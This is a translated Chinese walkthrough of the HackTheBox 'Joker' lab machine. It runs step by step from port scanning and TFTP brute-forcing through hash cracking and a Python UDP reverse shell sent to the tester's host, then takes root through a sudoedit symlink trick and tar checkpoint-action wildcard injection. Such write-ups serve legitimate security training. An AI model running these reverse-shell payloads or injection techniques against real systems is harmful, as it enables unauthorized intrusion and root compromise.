一個滲透實例(2)
這可能是我在hackthebox上享受的第一個硬碟盒。裡面大部分內容使我很快可以完成整個過程,強烈推薦。
初始枚舉
啟動nmap來快速掃描
root@kali:~/htb/joker# nmap -sV 10.10.10.21
Nmap scan report for joker (10.10.10.21)
Host is up (0.066s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ssh通常沒有問題,除非它是一個嚴重過時的版本,所以我們來看看3128埠,這似乎是一個squid代理,我們嘗試通過瀏覽器代理,看看我們可以得到什麼。
退出設置後我們收到以下消息:
我嘗試了幾個簡單的密碼,但運氣不好。還有一個名為NMAP NSE Script的http-proxy-bruteforce密碼。也沒有成功。
我們重新運行nmap來掃描所有TCP埠,同時做一個基本的UDP掃描,看看是否有其他服務打開。
root@kali:~/htb/joker# nmap -sU 10.10.10.21
Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-29 14:46 EST
Initiating Ping Scan at 14:46
Scanning 10.10.10.21 [4 ports]
Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)
Initiating UDP Scan at 14:46
Host is up (0.067s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
69/udp open|filtered tftp
5355/udp open|filtered llmnr
UDP掃描結果顯示69埠TFTP服務開啟,由於無法在TFTP伺服器中列出文件,因此查找文件的唯一方法是破解它們,幸運的是Metasploit有一個模塊可以為我們做到這一點。
我們載入tftpbrute模塊,查看我們的選項,將RHOSTS設置為joker的IP,並載入我們自己的字典文件。可以看到我們在運行一分鐘後得到了密碼,太好了!讓我們從joker那兒看看,看看裡面有什麼。
root@kali:~/htb/joker# tftp 10.10.10.21
tftp> get passwords
Received 48 bytes in 0.0 seconds
tftp> quit
root@kali:~/htb/joker# cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
看起來我們像在做生意,我們有一個似乎是代理用戶的散列。繼續看看我們要將什麼樣的散列輸入到hashcat中。
我直接在Windows機器上運行hashcat,也有辦法讓它在Kali中運行,讓我們運行hashcat,查看我們是否可以找到MD5(APR)的選項,並破解哈希。
我們找到用戶名kalamari的密碼為ihateseafood。瀏覽到本地主機或127.0.0.1輸入我們新發現的憑證後,我們看到了一個網頁。
在測試網頁之後,我們可以用它做很多事情。讓我們看看是否可以用dirb找到其他頁面。
root@kali:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Dec 29 15:27:52 2017
URL_BASE: http://127.0.0.1/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: 10.10.10.21:3128
PROXY AUTHORIZATION: kalamari:ihateseafood
OPTION: Not Recursive
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://127.0.0.1/ ----
http://127.0.0.1/console (CODE:200|SIZE:1479)
==> DIRECTORY: http://127.0.0.1/list/
-----------------
END_TIME: Fri Dec 29 15:33:08 2017
DOWNLOADED: 4612 - FOUND: 1
看起來我們已經找到了一個python控制台。我們來開始利用。
利用
在這裡有幾種不同的運行命令方式,因為這個控制台是單線程的,如果你以某種方式運行命令,如果有其他人正在使用它,控制台將會被鎖定。這真的不應該成為一個問題,現在這個控制台已經不用很久了,而且體積很小,但是作為一個好的練習方式你應該使用。讓我們嘗試驗證命令執行
[console ready]
>>> import subprocess
>>> subprocess.check_output(["id"])
"uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
"
我試了一種常規的Python shell但沒有反應。也無法通過wget下載文件。看起來防火牆可能會阻止連接。我們發現iptables的規則位於/etc/iptables/rules.v4
>>> subprocess.check_output(["cat","/etc/iptables/rules.v4"])
"# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017
"
我們來清理一下格式。
# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017
好的,我們可以在輸出線上看到任何新的出站TCP連接都被刪除。那麼shell還有其他選項嗎?好吧,碰巧有人已經用Python在這裡製作了一個UDP反向shell。在這個之前,我不知道能否成功。我們無法使用netcat來捕獲UDP外殼,所以我們不得不使用soc中的python腳本。在設置我們的監聽器之後,然後在控制台中運行我們的shell。
>>> import subprocess
>>> subprocess.Popen(["python", "-c", "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.10", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();"])
kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100
werkzeug@joker:~$ id
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
繼續前進是值得養成的一個好習慣,並在獲得shell之後產生一個tty。我們在這裡用python來做到這一點。
werkzeug@joker:~$ python -c "import pty; pty.spawn("/bin/bash")"
許可權提升
不幸的是,我們無法在alekos的主目錄中獲取user.txt,因此我們需要許可權提升。讓我們看看我們當前的用戶是否具有sudo許可權。
werkzeug@joker:/home/alekos$ sudo -l
Matching Defaults entries for werkzeug on joker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
sudoedit_follow, !sudoedit_checkdir
User werkzeug may run the following commands on joker:
(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
編輯layout.html文件對我們沒有多大幫助,但星號看起來很有趣,可能有一種方法可以利用這些通配符。這恰好就是我們所能做的。
https://www.exploit-db.com/exploits/37710/
鏈接里的文章說,漏洞利用時,如果使用兩次通配符,sudoedit不會檢查完整路徑。因此,為了利用它,他們創建了一個指向的符號鏈接/etc/shadow。這樣做對我們來說不能完全利用,因為我們只具有sudoedit許可權,而不是root。因此,我們可以做的是創建一個符號鏈接到alekos ssh授權密鑰文件並編輯文件以添加到我們的公共ssh密鑰中。
首先我們需要創建一個目錄/var/www/,我們來檢查許可權。
werkzeug@joker:/home/alekos$ cd /var/www
werkzeug@joker:~$ ls -al
total 20
drwxr-xr-x 4 root root 4096 May 18 2017 .
drwxr-xr-x 14 root root 4096 Oct 23 2016 ..
-rwxr-x--- 1 root werkzeug 581 May 18 2017 manage-shorty.py
drwxr-x--- 5 root werkzeug 4096 May 18 2017 shorty
drwxr-xr-x 2 werkzeug werkzeug 4096 May 18 2017 testing
看起來測試目錄能很好的工作。
werkzeug@joker:~$ cd testing
werkzeug@joker:~/testing$ ls
layout.html
原來的layout.html是由sudoedit編輯的。我們需要在這裡創建另一個目錄來利用第二個通配符。然後創建我們的符號鏈接。
werkzeug@joker:~/testing$ mkdir test
werkzeug@joker:~/testing$ cd test
werkzeug@joker:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html
werkzeug@joker:~/testing/test$ ls -al
total 8
drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .
drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..
lrwxrwxrwx 1 werkzeug werkzeug 33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys
我們的符號鏈接已到位。讓我們編輯並放置我們的公共ssh密鑰。
werkzeug@joker:/$ sudoedit -u alekos /var/www/testing/test/layout.html
現在我們可以使用ssh了。
現在我們可以抓取user.txt。
許可權提升
我們已經克服了不少障礙,但由於我們尚未獲得root shell,在主目錄裡面有兩個有趣的東西,development和backup。backup是一個文件夾,其中包含development基於時間戳每五分鐘運行的文件夾備份。我們也可以看到tar文件是由root擁有的。
alekos@joker:~$ ls -al
total 116
drwxr-xr-x 7 alekos alekos 4096 May 19 2017 .
drwxr-xr-x 3 root root 4096 May 16 2017 ..
drwxrwx--- 2 root alekos 73728 Dec 31 01:20 backup
-rw------- 1 root root 0 May 17 2017 .bash_history
-rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout
-rw-r--r-- 1 alekos alekos 3771 May 16 2017 .bashrc
drwx------ 2 alekos alekos 4096 May 17 2017 .cache
drwxr-x--- 5 alekos alekos 4096 May 18 2017 development
drwxr-xr-x 2 alekos alekos 4096 May 17 2017 .nano
-rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile
drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .ssh
-r--r----- 1 root alekos 33 May 19 2017 user.txt
alekos@joker:~$ cd backup
alekos@joker:~/backup$ ls -al
total 67640
drwxrwx--- 2 root alekos 73728 Dec 31 01:20 .
drwxr-xr-x 7 alekos alekos 4096 May 19 2017 ..
-rw-r----- 1 root alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz
-rw-r----- 1 root alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz
-rw-r----- 1 root alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz
-rw-r----- 1 root alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz
-rw-r----- 1 root alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz
在檢查cron作業之後,沒有發現正在運行這些備份的信號。經過一段時間的思考之後,似乎合乎邏輯的是,備份如何運行tar cf *。然而,我們可以利用另一個通配符。恰巧我在Vulnhub盒子上工作時遇到過這個問題。
有關如何操作的詳細說明,請點擊https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt。
簡單的解釋是我們可以將選項和參數注入,通過命名這些選項/參數的文件運行的tar命令中。通配符會將文件名處理為實際的命令行選項並運行它們。
我們將要使用的選項是--checkpoint和--checkpoint-action。使用tar,您可以指定檢查點和每個運行命令的檢查點操作。所以我們所要做的就是設置檢查點操作來運行另一個python UDP shell。
我們來展示我們的shell。
alekos@joker:~/development$ nano udpshell.py
alekos@joker:~/development$ chmod x udpshell.py
創建我們的文件。請注意,您必須使用--表示命令選項的結尾,以便正確地創建文件名。
alekos@joker:~/development$ touch -- --checkpoint=1
alekos@joker:~/development$ touch -- "--checkpoint-action=exec=python udpshell.py"
啟動監聽並等待工作運行。
root@kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100
root@joker:/home/alekos/development# id
uid=0(root) gid=0(root) groups=0(root)
root@joker:/home/alekos/development#
現在我們已經有了我們的root shell!
文章出處:https://www.sploitspren.com,由華盟網翻譯排版,轉載請註明華盟網
※黑客都敢劫持YouTube來挖門羅幣
※女演員米凱拉iCloud帳戶遭黑客入侵
TAG:黑白之道 |